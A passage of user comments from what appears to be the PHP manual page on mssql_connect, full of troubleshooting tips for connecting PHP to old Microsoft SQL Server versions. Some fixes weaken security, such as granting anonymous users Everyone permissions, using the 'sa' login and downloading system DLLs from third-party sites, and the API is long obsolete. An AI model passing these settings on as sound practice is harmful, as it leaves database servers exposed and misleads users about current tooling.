3). last and most important, do NOT use ntwdblib.dll came with PHP 4.4.x. It's not most current. The version I'm using is: 8.00.194 with 274,489 Bytes. And make sure you put this file in your system32 folder.
hetland at website dot no 15-Oct-2008 02:30
Hello,

My solution was to install MSSQL Server Native Client

Info:
http://msdn.microsoft.com/en-us/data/aa937733.aspx

System:
W2003 w/PHP 5.2.1 and SQL Server 2008 on Win 2008
(Should also work on 2005)

My problem was that mssql_connect() failed.

Installed the native client, restarted IIS and everything went smoothly.

Helge Hetland
robert dot johnson at icap dot com 04-Oct-2008 04:39
I sympathise with all users trying to make SQL Server 2005 work, but that old ntwdblib api was depracated when SQL Server 2000 was released.  Newer data types and features are not available through that old api.

It seems that there are still some people that don't know, and this is my third post on the subject, but there is a  Microsoft SQL Server 2005 driver for php.

It's easy to use and efficient.  I don't know if there's a version for Unix servers, but the person who spent 10 hours seems to be using Windows.  It's not identical to mssql, but not much different, and I think simple to port.

You download the extension from Microsoft, put the dll in your extensions folder, and enable it in php.ini (or load it dynamically with dl()).
rcgandara at gmail dot com 17-Sep-2008 07:27
If your are trying to connect to a MSSQLServer 8 and got this error: Unabled to connect to: [SERVER_NAME]
and u r using Server authentication, make sure 2 set up mssql.secure_connection to Off in da php.ini

RCGP

Making this world better everyday... peace out
Anonymous 11-Sep-2008 10:18
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) php-mssql connection in php also works WHEN RUN FROM THE SHELL
3) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
getzeroedin at hotmail dot com 08-Jul-2008 08:41
For those trying to connect PHP 5.2 to a 2005 Microsoft SQL Server Analysis Services (SSAS) cube and execute MDX queries, you have to establish a link via a trusted connection from the Database Service to SSAS using a stored procedure, then execute the stored procedure via PHP.

Here is an example stored procedure that retrieves records from the Adventure Works sample cube that ships with SSAS.

From SQL Server Query Analyzer, you could test it as:

exec testMDX

From PHP, you would execute something like the following:

$resultset = mssql_query("exec testMDX",$res_id);

then loop thorugh the result set.

-- STORED PROCEDURE BEGIN

set ANSI_NULLS ON -- Must be enabled at time Stored Proc is created
set QUOTED_IDENTIFIER ON -- Must be enabled at time Stored Proc is created
GO

Create Procedure [dbo].[testMDX]
as
BEGIN
SET ANSI_WARNINGS ON:  -- Must be enabled
SET ANSI_NULLS ON; -- Must be enabled

Declare
@SQL varchar(1200),  -- Variable to hold SQL query
@MDX varchar (1000), -- Variable to hold MDX query
;

-- Establish a link to Analysis Server
exec sp_addlinkedserver
@server='linked_olap', -- Alias used to reference the link
@srvproduct='', -- Not used
@provider='MSOLAP.3', -- OLAP driver
@datasrc='servername', -- Database server name
@catalog='Adventure Works DW Standard Edition' -- Database name
;

-- Analysis Server requires a TRUSTED connection
exec sp_addlinkedsrvlogin
@rmtsrvname = 'linked_olap', -- Alias used to reference the link
@useself = 'false', -- Use own credentials
@locallogin = NULL, -- Apply to all local logins
@rmtuser = 'domain\username', -- Remote user name
@rmtpassword = 'xyz123' -- Remote user password
;

-- Create a temporary table that will be used to hold the MDX output
create table #temp_table (column1 text null, column2 text null);

-- Setup a string to hold the MDX so that the precompiler does not try to validate the syntax
SET @MDX = 'SELECT [Product].[Category].members ON ROWS,
                    {Measures.[Internet Order Count]} ON COLUMNS
                    FROM [Adventure Works]    ' ;

-- Setup a string to insert the MDX results into the temporary table
SET @SQL = 'Insert into #temp_table SELECT * FROM OpenQuery(linked_olap,'''+@MDX+''')';

-- Execute the SQL and remote MDX query
EXEC (@SQL) ;

-- Select the results from the temporary table to return to the calling program
Select column1, column2 from #temp_table ;

-- Drop the temporary table
drop table #temp_table;

-- Release the TRUSTED connection
exec sp_droplinkedsrvlogin 'linked_olap', NULL ;

-- Release the link to the Analysis Server
exec sp_dropserver 'linked_olap' ;

END

-- STORED PROCEDURE END
simonhukin at gmail dot com 13-Mar-2008 12:15
After a couple of days (seems to be the common theme) trying to get my code to connect to our new clustered 2005 SQL server instance. I finally did it. :-)

For the following setup:

PHP 5.2.4 (hosted on a Windows Server 2003 box)
connecting to MSSQL 2005 in a clustered environment
(was already connecting to MSSQL 2000 with no problems)

I was about to get the client tools installed on the server, but this would have required a trip down to the data center by our IT guys (last resort - well actually last resort was to write a data access service in Java, which was connecting fine).

Anyway, after making sure all the ntwdblib.dll were of the 2000.80.194.0 version. It was still not working.

The thing which made it work was simply to specify the port.

yes after 2days of looking into alternatives (incidently freetds - a windows compiled version, was working very intermittently) I found all I had to do was specify the port!

I guess this is because I needed to connect via TCP/IP, our network admin didn't want named pipes used (as it's non-standard). Although, named pipes were enabled anyway. Specifying the port must have made the default behavour to connect via TCP/IP. Also the port was '1433' which I assumed was default anyway, hence hadn't specified before.
edortizq at gmail dot com 03-Dec-2007 04:41
For connecting Linux + Apache + SQLEXPRESS 2005 take care about it:

- Don´t use the standard MS-SQL port (1433), use the MS-SQL dinamic port under SQL Server Configuration Manager -> SQL Express Protocols -> TCP/IP properties -> IP Adresses -> IPAll

- You can do a direct connection (without FreeTDS) using the following statemt:
  $db=mssql_connect('192.168.xxx.xxx:1541','usrxxxx','pwdxxxx');

-You can use FreeTDS configuring the freetds.conf file as follow:
  [connect2k5]
  host = 192.168.xxx.xxx
  port = 1541
  tds version = 8.0
With the following PHP statement:
  $db=mssql_connect('connect2k5','usrxxxx','pwdxxxx');
chop_01 at yahoo dot com 29-Aug-2007 10:39
1. Installed the SQLServer in mixed auth mode
2. Checked that the mssql.secure_connection = Off was present in the php.ini
3. Copied the ntwdblib.dll file into
        o WINDOWS\SYSTEM32
        o program files\apache2\bin
        o php
4. Started the SQL Server Browser Service
5. Enabled all of the IPs in Protocols > TCP/IP
6. Restarted the following services:
       o Apache
       o SQL Service
       o SQL Browser Service

This allowed me to connect with no problems using the following parameters within my mssql_connect call

HOST=.\SQLEXPRESS
USERNAME=sa
PASSWORD=<MYPASS>
Colin 17-Aug-2007 12:35
I had lots of issues with trying to get SQL Server '05 (NOT Express) to work with PHP 5.1.2 on Windows Server '03 SP2 running IIS 6. This is what finally worked:
- Uncomment the php_mssql.dll line in php.ini
- Replace the ntwdblib.dll file in /php/ext/ with the (smaller) downloadable file from webzila.com
- Set SQL Server to mix-mode authentication ("Windows and SQL Server Auth")
- Create IUSR_<computer_name> account in SQL Server using Windows authentication
- Grant read/write access to the IUSR_<computer_name> in SQL Server
- Create SQL auth account using SQL authentication
- Grant read/write access to the SQL auth account in SQL Server
- Restart the system

I'd imagine that creating a way for IUSR to get into the SQL Server is NOT a good idea, but this is the only way I could get it to work. Hopefully, a future update to SQL Server will fix this.
hao dot wang at outsourcing dot org 19-Jul-2007 02:04
For those poor people (like myself) who have to use MS SH*T SQL 2005 and cannot connect it.

I have to use sql server 2005 (another piece of sh*t from MS) at work. It takes me hours to connect this garbage. I end up find I have to enable TCP/IP under "Protocols for MSSQLSERVER". To do this, you need go to
START >> PROGRAMS >> MS Sql server 2005 >> Configuration Tools >> Sql Server configuration Manger

Click "+" sign next to "Sql server 2005 network configuration" then
click to highlight "Protocols for MSSQLSERVER" then
in right panel right click "TCP/IP" and enable it.

DO NOT for get restart you sql server service and pray to dear God your company will dump MS one day.

DO NOT install "ActiveScript engine" as MS suggested. You don't want extra trouble and junk.
streamkid {) at (} gmail {) dot (} com 16-Jul-2007 09:55
I encountered this while developing applications for Cisco IP Phones.

The phones require the Connection header to be set to close:
header("Connection: close");

But, with this header, mssql_connect won't work.
A possible workaround for this is to have another php file that interacts with the database, and returns the results in xml format so you can use it in the application.

Hope this saves someones time.
streamkid
animefan1003 at yahoo dot com 08-Jul-2007 06:32
If you cannot connect to an SQL Server instance after trying all of the above, look in the registry using regedit.exe at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\SQLEXPRESS\MSSQLServer\SuperSocketNetLib\Tcp. One of the nameValue pairs has name TcpPort and a value, which is the port that the SQL Server is listening on (mine was set to 1030).

Now in the SQL Server Configuration Manager, under SQL Server native client configuration->Client protcols->TCP\IP, the default port is listed as 1433. It seems that this registry value is overriding the setting in the SQL Server Config manager.

I changed the port number in my call to mssql_connect() to 1030 and I was able to connect. An example string is:
<?php $database = mssql_connect('laptop2,1030', 'sa', 'password', false); ?>. Note that for the server name, it can be the machine name, the string "localhost" or an IP Address such as 127.0.0.1. You do not have to append "\SQLEXPRESS" to the end of it.

Before I did this, I enabled TCP\IP connections using the SQL Server Config Manager. I also enabled the IP address under TCP/IP to be sure it worked. In php.ini, I had the mssql.secure_connection key set to "Off" (hence why I pass the username and pasword to mssql_connect()). I enabled mixed authentication is SQL Server and granted logins to user "sa". I also put the updated ntwdblib.dll in both the system32 directory and the php directory to be sure it would work.

Also, the webzilla site for the updated ntwdblib.dll file seems to be having connection issues with their MySQL database. Instead, try http://www.userscape.com/helpdesk/index.php?pg=kb.page&id=13 .

I hope that this saves someone a few hours :-) .
Anders Simonsen 02-Jul-2007 06:21
Finally, I made it work... Using Windows 2003, ISS 6.0, PHP5-CGI and SQL express

It's a good idea to set your environment variables to path=%path%;c:\php and phprc=c:\php first.

1. Fire up SQL Server Configuration Manager
2. Drill down to "Protocols for SQLEXPRESS"
3. Enable Named Pipes (God knows why)
4. Enable TCP, I have everything enabled in the "IP Addresses" tab
5. Restart SQL Express (Or the computer ;)
6. Start SQL Browser service. Remember to set it to automatic.

The final detail is the need to use (host)\SQLEXPRESS in the connection string. This is a little problematic when using MDB2, but it works if you break the connection string into an array like this:

$dsn = array(
'phptype'  => 'mssql',
'username' => 'user',
'password' => 'yourpass',
'hostspec' => 'localhost\SQLEXPRESS',
'database' => 'yourdb',
);

require_once 'MDB2.php'; $mdb2 =& MDB2::connect($dsn);
if (PEAR::isError($mdb2)) {
echo $mdb2->getUserinfo();
}

Of course, you’ll also need extension=php_mssql.dll in the PHP.ini and that ntwdblib.dll 2000.80.194.0 file mentioned bellow.

Have fun
rossco at hotpop dot com 25-May-2007 06:04
A small problem I had when connecting to SQL 2000 Ent named instance (from W2003 Std, IIS6, PHP5).

I had to supply the instance name AND port
$sql = mssql_connect ("SERVER\INSTANCE,PORT", "username", "password")

And also add registry entry as per previous comments:

HKEY_LOCAL_MACHINE \SOFTWARE\ Microsoft\ MSSQLServer\ Client\ ConnectTo:
"SERVER\INSTANCE"="DBMSSOCN,SERVER\INSTANCE,PORT"

(Just export the key from a PC with SQL client tools)
raul at tarkus dot com dot mx 10-Dec-2006 12:19
When trying Linux + PHP 5.2.0 + SQL express 2005, use dinamic port specified in TCP/IP properties of SQL server configuration. The default port (1433) didn't work for me.
This is my freetds.conf file:

[JRZMERC176]
        host = 10.12.51.176
        port = 1396
        tds version = 8.0
kamikazie at comcast dot net 23-Sep-2006 10:19
Ok, so after many many many hours of searching (somewhere around the ballpark of 2 weeks, on and off) and reading these pages, I've found the answer to my unspoken question (although there was much cursing).

Background:

A Windows Server 2003 box running as a router and a webserver using IIS6 and the latest PHP 5 as of 23 Sep 2006.

A Windows Server 2003 box running SQL 2000 Enterprise with one instance

Using a named pipe, the code to connect was:
"$connection = mssql_connect("\\.\pipe\MSSQL$instance\sql\query", "user", "pass") or die("Message"); "

I recieved the error that $instance was not a defined variable, so I changed it to
"\\.\pipe\MSSQLinstance\sql\query"
both on the connection string and the SQL server

When passed on to the server, I still recieved connection errors, so I changed it again, this time to:
"$connection = mssql_connect("\\\\.\pipe\\MSSQLinstance\\sql\\query", "user", "pass") or die("Message"); "

With this new code, I recieved a successful connection, but a bad login saying that my IUSR_ account did not have permissions on the database, although I used a separate username in the connection string.

Using SQL, I setup windows authentication for the IUSR_ account and I was able to establish a connection and successfully run a query.

I still can't find out why it was trying to pass the IUSR_ account as the login though.  If anyone has an answer drop me a line.

Now using windows groups it should be easy to create a login page that uses groups to connect to databases rather than setting up each user individually.

I just wanted to share with everyone my long awaited success story.
munckfish.net 13-Jul-2006 07:55
Further to the following posts on Windows 2003 + PHP5 + SQL Server Express.

http://php.net/manual/en/function.mssql-connect.php#58787
http://uk2.php.net/manual/en/function.mssql-connect.php#61971

I ran into another problem when I updated the version of ntwdblib.dll. I picked up version 2000.80.2039.0 from an SQL Server 2000 installation. However, when I replaced the PHP 5 provided version with this one and restarted IIS, phpinfo() showed that the mssql extension wasn't loading anymore. I couldn't see any errors reported in browser nor the system error logs.

By chance I decided to run 'php -i' on the command line. This was lucky because running it this way a system error dialog popped up a warning about a missing DLL dependency.

The problem was that the new ntwdblib.dll had a dependency on MSVCR71.DLL which couldn't be found in IIS' path. I did a search for msvcr*.dll in C:\\WINDOWS and found a copy of this DLL in C:\\WINDOWS\\Microsoft.NET\\Framework\\v1.1.4322\\. I copied it into my PHP install dir and restarted IIS. Then when I ran phpinfo() the extension showed up again.
gwkeeper at eljoy dot xxx 13-Dec-2005 05:03
I'm running PHP 5.x.x on IIS5 + Windows 2000 server and connecting to remote SQL Server 2000 with error : Login failed for user (sa). Reason: Not associated with a trusted SQL Server connection. (severity 14).

I found that even though I had "SQL and Windows Authentication" selected, and mssql.secure_connection = On in php.ini it did not work. It was due to another software instalation.

For me was solution to install SP4 on MS SQL 2000 and it started to work pretty well.
lbowerh at netscape dot net 16-Nov-2005 04:32
The recently released SQL Server 2005 Express will work with MSSQL functions. Here are some caveats:

1) The version of ntwdblib.dll supplied with PHP will not work with Server 2005 (Win32 only). You must use a newer version. The version supplied with SQL Sever 2000 (2000.80.194.0) seems to work well.
2) You must set up mssql_connect to reference the server AND the instance name, eg:
mssql_connect("MyPC\SQLEXPRESS","MyUser","MyPwd");

Although the MSSQL functions work, you might want to consider using the new 'pdo_odbc' (PHP 5.1) with SQL Server 2005 Express for any new code you are writing.
dave at phantomfish dot co dot uk 20-Oct-2005 03:48
I have spent the last 2 days trying to get PHP to connect to MSDE on Windows 2003 Web Edition.

Although initally PHP would connect to the database without a problem, it would then refuse to connect, hitting F5 enough times would eventually connect to the database. As you can imagine this intermittent problem was hard to trace.

I was using PHP 5.0.5 (although 5.0.4 has the same problem) on a Windows 2003 Web Edition SP1 server, and was trying to connect to MSDE Rel A.

Solution:
~~~~~~~~~

Firstly MSDE needed to be installed with the following arguments: SECURITYMODE=SQL DISABLENETWORKPROTOCOLS=0.

Secondly it was necessary to delete ntwdblib.dll from c:\php

Thirdly I downloaded the SQL 2000 evaluation and installed only the client tools on a seperate PC (Ent. Manager will now connect to the database).

Lastly I copied the version of ntwdblib.dll from the PC with Ent. Manager on it (ver 2000.80.2039.0) to c:\windows\system32\

After a re-boot no more connection problems.

Pls note that this is only for 2003 Web Edition with MSDE, this problem does not seem to occour with Standard Edition
mckoin at example dot com 18-Oct-2005 05:58
If you use PHP on Windows with Apache as a web server, you may get problems with authentication to MS SQL Server even when you supply all valid credentials.

Check your php.ini file:
; Use NT authentication when connecting to the server
mssql.secure_connection = On

If you have secure_connection = On, make sure that you provide valid credentials in the properties for Apache service in the System Services box. Then you should not send DB username and password from your script to MSSQL Server.

If you want to use specific credentials from a PHP script, then set mssql.secure_connection = Off in your php.ini
j3d 24-Sep-2005 02:14
After struggling for 6 hours trying to fix the dreaded "Not associated with a trusted SQL Server connection." error I have finally solved it after following the suggestions presented here:
http://support.microsoft.com/default.aspx?scid=kb;en-us;839569

<sarcasm> Who would have thought that microsoft's article would be useful </sarcasm>
dale dot liszka at gmail dot com 19-Sep-2005 09:28
If you are trying to use Sybase and MSSQL on the same WIN32 box you will probably have headaches.  There are multiple declaration errors when you enable php_sybase_ct.dll and php_mssql.dll in the php.ini at the same time.

The specific error for all functions starts like this:
PHP Warning: Function registration failed - duplicate name - mssql_connect

There is a way around this! On a windows box I have done this successfully several times.

1. Make a backup copy of php_sybase_ct.dll (never hurts!)
2. Open php_sybase_ct.dll in a HEX editor (fhred is a nice free one http://www.kibria.de/frhed.html )
3. Replace all instances of 'mssql' with 'sysql'.  It doesn't have to be 'sysql', just anything but 'mssql' or 'sybase'.
4. Save the file.  (Alternately you could save as something like php_sybase_ct_modified.dll and cite that in your php.ini)

All the constructs are still declared for the sybase_* functions and now you can use MSSQL and Sybase instead of switching php.ini files, etc.  I have had this work under php 4.3+ and php 5.0.5.

PS. I decided to place this under mssql_connect because its the first error thrown in this case.  I believe it should make the information easier to find via google/search/browsing.
Marcel Laverdet 27-Jul-2005 10:30
I was having problems connecting to a SQL cluster with mssql_connect, but any other program could connect just fine. I ended up using a PHP ADODB driver to work around the connectivity problem I was having. Later, however, I discovered my problem was a mismatched name in the server table.

To see if you have this problem, "SELECT * FROM [master].[sysservers]". If the srvname, and datasource don't match the cluster's virtual SQL name... then you will have a problem. My virtual SQL server's name was 'SQL-SERV', however in the sysservers table it was listed as 'SQLSERV'.

To remedy this problem, simply issue the following queries: "EXECUTE sp_dropserver wrongName" and then "EXECUTE sp_addserver rightName, 'local'". After running these 2 procedures, restart the server and PHP should connect just fine using the native libraries.

If it still doesn't connect, make sure you update the ntwdblib.dll file as explained in prior comments.
Robert at realjax dot com 14-Jun-2005 03:00
A view that worked fine when queried from any other environment was giving me strange results when queried from PHP.  The problem is that the MS SQL database settings are not set to the ANSI defaults as when connecting through Microsoft products.  The setting CONCAT_NULL_YIELDS_NULL defaults to ON when connecting with ODBC or SQL Query Analyzer, which complies with the ANSI standard.  However, this defaults to OFF when connecting through PHP.  There are many other settings which may also need to be explicitly set.
<?php
mssql_query('SET CONCAT_NULL_YIELDS_NULL ON', $hd);
?>
pelanne at gmail dot com 07-Jun-2005 04:18
Just in case it helps people here...  We were being run ragged by extremely slow connections from IIS6 --> SQL Server 2000.  Switching from CGI to ISAPI fixed it somewhat, but the initial connection still took along the lines of 10 seconds, and eventually the connections wouldn't work any more.

The solution was to add the database server IP address to the HOST file on the server, pointing it to the internal machine name.  Looks like some kind of DNS lookup was the culprit.

Now connections and queries are flying, and the world is once again right.
jack dot rauta at tiscali dot dk 06-Jun-2005 01:30
I couldn't connect to a remote MSSQL database using Windows Server 2003, IIS 6, PHP 5 and mssql_connect. It worked with odbc_connect and with DSN-less connection through ADODB COM object.

The solution was to change a registry entry, as follows:
1) Open regedit.exe
2) Browse to the key named HKEY_LOCAL_MACHINE\\SOFTWARE \\Microsoft\\MSSQLServer\\Client\\ConnectTo
3) There should be one or more keys in the format "SERVER" = "LIBRARY,SERVER,PORT"
    where SERVER is a NetBIOS name, Named Pipe alias or the server's IP address, and PORT is usually 1433.
4) If LIBRARY is set to DBMSSOCN, try changing it to DBNETLIB. That worked for me.
5) Restart IIS
bass28 17-May-2005 09:47
When connecting to a SQL 2000 DB from an Apache/PHP setup on a Windows box you must connect using a SQL user login (type=standard).  If you add Windows users or groups to SQL security logins and try connecting using that login the connection will fail.  If the connection works for SA but not for your login, this may be your answer (it was for me!).
ta_bg at NOSPAM dot mail dot ru 26-Apr-2005 10:48
I spent about a day until get working mssql_connect() function. I tried to connect PHP to MSDE. The solution is Server Network Utility (it is not installed on MSDE + Client tools configuration, only on SQL Server Standard/Enterprise). The necessary file SVRNETCN.EXE exists on the installation disk.
kryltsov at yahoo dot com 11-Apr-2005 10:33
If you connect to MSSQL and  get error 515 (INSERT NULL INTO NOT NULL VALUE).
Execute following statement after connection to DB.
"set ANSI_NULL_DFLT_ON ON". There are lots of code arround where SP creates, for example, temp tables. There is no specification 'NOT NULL' on columns. Many people beleive that it means that nulls will be allowed.
After 5 days of debugging one of the software monsters SQL code I found that PHP connects to MSSQL (at least on my server) without setting "ANSI_NULL_DFLT_ON" which caused SP fired by insert trigger failed with 515 error because temp tables had been created with all columns 'NOT NULL'.
QA and from ASP everything was working just fine.

After I set ANSI_NULL_DFLT_ON to ON. Everything started working fine.
Hope it wil help.
yurtesen at ispro dot net dot tr 28-Mar-2005 04:21
If you are using FreeBSD you shouldnt forget to copy freetds.conf.dist to freetds.conf and edit. Otherwise you will get:
PHP Warning:  mssql_connect(): Unable to connect to server:  BLAH in
nospam_bg at pumkinhed dot com 10-Mar-2005 04:17
On freebsd I edited the Makefile in /usr/ports/lang/php5 and added  --with-mssql=/usr/local to the CONFIGURE_ARGS= section (ensure to put a \ in front of the previous line), then it will use tds.h correctly....  hth
Ilmars Poikans 28-Jan-2005 08:08
Connecting to MS SQL server over TCP/IP.

I'm working on Windows XP with PHP5 (should work with PHP4 also because ntwdblib.dll is the same).

My problem was that I needed to connect to remote MS SQL server over TCP/IP (named pipes weren't an option), but I couldn't, because named pipes were used all the time.

One of the possible solutions is to install SQL Client Tools and configure TCP/IP support. I hadn't SQL Server installation disk, so I found fast solution with registry editing.

I added to registry following entry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\ConnectTo] (strip space)
"DSQUERY"="DBNETLIB"

It worked! Just specify servername in form "host" or "host,port". I successfully connected to remote MSSQL7 and MSSQL2000.

I have found on Internet alternative solution that you need to add "DSQUERY"="DBMSSOCN", but it didn't work for me.

If you need more connection tweaking like

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\DB-Lib] (strip space)
"AutoAnsiToOem"="ON"
"UseIntlSettings"="ON"

and more, then better find and install SQL Client Tools.
petr /*dot*/ havlicek at phlab [dot) net 16-Jan-2005 01:17
I had problems connecting to multiple instance of MSSQL so I tried solution suggested by guilherme_cruz at uol dot com dot br 29-Aug-2002 07:45. It works great but I had to change line \\SERVER_NAME\pipe\MSSQL$INSTANCE_NAME\sql\query
 to \\.\pipe\MSSQL$INSTANCE_NAME\sql\query.
Regards
Petr
henry aluede 24-Dec-2004 02:22
if u plan to connect to mssql, and u had previously worked on sybase, u will get a duplicate error. to correct this just exclude the sybase dll in your php.ini file
bartlewis at gmail dot com 16-Dec-2004 03:17
I am yet another person who had problems getting php[5] to play nicely with SQL Server 2000 [MSDE] on WinXP SP2 w/IIS. Following the notes on this page from previous users did get me closer, but I still could not connect. I was getting an error that said, in essence:

"MACHINENAME\IUSR_MACHINENAME" could not connect to the server.

Through some painstaking googeling I was able to resolve the problem by following this MSKB article:
http://support.microsoft.com/default.aspx?scid=kb;en-us;319930

It seems that my default install of MSDE did NOT "Enable Mixed Mode Authentication" which is required for this kind of connection. To make matters worse, the only way to change this with MSDE is to go mucking with the registry (which always freaks me out a bit). The above article explains how to do this.
cbunk at arescorporation dot com 13-Dec-2004 11:09
I was having problems connecting a IIS6 Webserver on a 2003 windows box to a MSSQL Installation running windows 2000.  After suspecting ntwdblib.dll I tried updating the file but with no luck.  Finally I figured out the problem by noticing that in addition to a copy of the file living in the windows directory there was one in the PHP directory as well (from the zip package).  Although I had an up to date version of the file in my windows directory the one in the php directory was getting read instead.  I simply removed the file from my php installation directory and all worked well.
chrisputnam at gmail dot com 18-Nov-2004 04:54
If you're having trouble getting PHP to connect to a SQL 2000 Server (the MSDE, specifically), try running the Server Network Client usually located at C:\Program Files\Microsoft SQL Server\80\Tools\Binn\SVRNETCN.exe

Disable all protocols but Named Pipes. Then Apply your changes, click OK, and restart the SQL service with these commands at a command prompt:

net stop mssqlserver [if it says the agent will stop too, let it happen]
net start mssqlserver
net start sqlserveragent

That fixed it all for me.

Also note that named pipes has a huge performance difference against TCP/IP. Named pipes are a tremendous amount faster.

I have been working on this for two days now and I hope someone else stumbles across my solution!
paul at ensigma dot com dot au 19-Oct-2004 02:10
It seems a lot of people are having trouble connecting to MSDE - so did I. Eventually I got it working. The trick was to change to registered server name from (local) to be the same as the machine name (ie in the Enterprise Manager, delete the registration and then re-register it). Also, make sure TCP/IP is enabled (and I actually removed named pipes for good measure). Viola - connection successful.
mworku at securiant dot com 03-Oct-2004 01:16
It looks like by default libphp5 ignores freetd's conf file if you
specify your SQL server's ip address within the mssql_connect() function.

If you need to utilize freetds.conf file for connection parameters use the putenv function as follows

<?php
  putenv('FREETDSCONF='path to your freetds conf. file')

  /*
    SQL CODE
    mssql_connect('MSSQL_2000, 'user' , 'pwd');
    ....
    ....
  */
?>

All connection parameters should now be read from the conf file. Also don't enable logging unless you're debugging, performace will suffer.

/* freetds.conf
 [MSSQL_2000]
    host = 192.168.10.10
    port = 1433
    tds version = 8.0
;    dump file = /etc/freetds/log/freetds.log
;            dump file append = yes
;    debug level = 99
*/
jonord at cfl dot se 11-May-2004 03:53
I had problems connecting to an SQL 2000 database running on a W2K server from IIS6 on an Windows 2003 server. I got an error message saying  "Unable to connect to server: <server name>" all the time.

 The 2003 server didn't have the MDAC components installed, installing the latest version (2.8 as of writing) seems to solve that problem.
bianco at bluetone dot com 01-Apr-2004 02:12
Little idea about 255 characters limitation. :)

In tables I'm using column type "varchar" or "nvarchar" instead "text". And also I use for example varchar(8000). And there is "a bug". :) PHP will read this column only as varchar(255). So how to read more then 255 chars from varchar(8000)? It is very easy, use CAST to convert varchar type to text type.

select CAST(Comment as TEXT) from Job

PHP will read it. Check php.ini section [MSSQL] and set maximum text length. Check parameters

mssql.textlimit = 4096
mssql.textsize = 4096

Maximum length is 2147483647

Bye
nuying117 at 163 dot com 15-Mar-2004 04:35
I came across the same question as jack,but there was no effect when i use his method.and then ,I created a user named IUSER_YOUR_COMPUTER_NAME which is the same as the user who start the IIS process,it works!
markus dot amsler at oribi dot org 20-Feb-2004 04:23
Make sure you disable ANSI to OEM Conversion in your SQL Server Client Network Utility -> DB Library Options if you are using these extension from the CLI. Otherwise you get encoding problems with special characters. For further information look at http://bugs.php.net/bug.php?id=27324
jeremyirons at genevus dot com 13-Jul-2003 02:51
Using MSSQL 2000 and Windows Server 2003 Enterprise running on a separate machine from the web server, I was unable to get PHP to connect to MSSQL with default Windows Server 2003 settings.  I got it working the following way:

From the Windows Server 2003 machine:
Control Panel -> Local Security Settings -> Security Settings -> Local Policies -> Security Options
Set "Network access: Let Everyone permissions apply to anonymous users" to Enabled

There is probably a better way, but this works
S.A. Tan 02-Jul-2003 12:58
Just a little comment that I would like to add:

If you intend to access MS SQL server remotely, you need to install SQL Server Client Tools on the system which hosts your PHP code.
php at burntpopcorn dot net 04-Jun-2003 04:53
I don't see it mentioned here, but if you are using SQL Server 2000, then you should use a comma instead of a colon to specify the port, for example:

$sql = mssql_connect ("192.168.1.2,1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());

instead of:

$sql = mssql_connect ("192.168.1.2:1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());
Gordon McCague 13-Feb-2003 08:27
I am running PHP 4.2.1, Windows 2000, with a MSSQL Server 7.0 isolated from our web DMZ (separate DMZ for our SQL Server).

mssql_connect in version 4.2.1 seems to insist on using named pipes to connect to the SQL Server. This is not secure as it requires netbios browsing (tcp/udp ports 137, 139, and 445 (with windows2000)). This is an unacceptable security risk.

To resolve this issue use your MSSQL 7.0 CD to perform a  install on your web server. Select a custom install. You will be prompted to select your components. Uncheck the "Server Components" box to avoid installing the full server offering. Leave "Client Connectivity" checked.

You can leave "Management Tools" selected as well if you wish to test your connection or run queries against the database engine. Installing them may pose a security risk so some might not choose to do so.

Don't forget to install the latest service pack and MDAC components once the initial installtion is complete. The MDAC components can be obtained from http://www.microsoft.com/data/

SQL Service Packs can be obtained from http://www.microsoft.com/sql

Once you have installed the updates and patchs then you need to run the "Client Network Utility" to enable TCPIP as the network protocol for connectivity to your SQL Server.

You will need to enable TCPIP and also create an alias to your SQL Server for TCPIP. This process should be self-evident once you run the utility. You may want to consult the SQL online manuals for assistance if uncomfortable with the configuration.

This should now allow you to access your SQL Server via ports 1433 and 1434 (or whatever you have enable as the port of communication). It is a best practice to consider changing the ports of communication to the SQL Server and I believe this can be done with the Network Client Utility (to something other than 1433 and 1434).

You can always build a little test file to check your connectivity once your system is up and running.

Good luck!

P.S. I have not looked to see if PHP 4.3.0 resolves this issue but I don't plan to test too much. I like to know how the web servers are connected to the SQL server.
Filipus 18-Jan-2003 04:02
Linux MDK 9.0, PHP 4.3.0 MSSQL 2000 on remote host
We used freetds (www.freetds.org) compiled with parameter:
./configure --prefix=/usr/local/freetds
PHP was compiled with parameter:
./configure --with-mssql=/usr/local/freetds [and some others]

We added our section in /usr/local/freetds/freetds.conf
----------------------------------
[MyServer70]
host = 172.16.20.81
port = 1433
tds version = 7.0
----------------------------------
in mssql_connect() you have to provide as a hostname the name you put between [] brackets in freetds.conf OR specify host:port

$connection = mssql_connect("MyServer70", "d", "d");
or
$connection = mssql_connect("172.16.20.81:1433", "d", "d");

Remember to specify port!
damien at mightyoaks dot com 13-Nov-2002 01:03
SQL Server 2000 may be listening on port 2433, instead of the default port 1433 that the MSSQL client libraries and old MSSQL servers use.  In this case, you might end up with mssql_connect() using port 1433 and SQL Server denying the connection.

If you are unable to connect, you can start by verifying the port SQL Server is listening on.  From the database server, run Start->Program Files->Microsoft SQL Server->Server Network Utility.  Select TCP/IP from the list of protocols and press Properties... - it will say what port the server is listening on (usually 1433 or 2433).

With SQL Server 2000 SP2 I was unable to change the default TCP/IP port on the server side.  But you can still change the default port the client libraries are using.  On your PHP machine, first make sure you have the MS SQL server Client utilities installed, then run Start->Program Files->Microsoft SQL Server->Client Network Utility.  Choose "TCP/IP" from the Enabled protocols list and press "Properties...".  Enter the port number that the server is listening on here (2433 in my case).

Once server and client are using the same port, PHP will be able to connect properly.
s dot westermayer at nospam-netnnet dot de 04-Sep-2002 02:34
SQL Server Authentication Mode must be set to "SQL Server and Windows" or your SQL Server will not accept a connection and diplay:
Warning: MS SQL message: Login failed for user 'myuser'. Reason: Not associated with a trusted SQL Server connection. (severity 14) in...


Moves internal row pointer

  • « mssql_connect
  • mssql_execute »
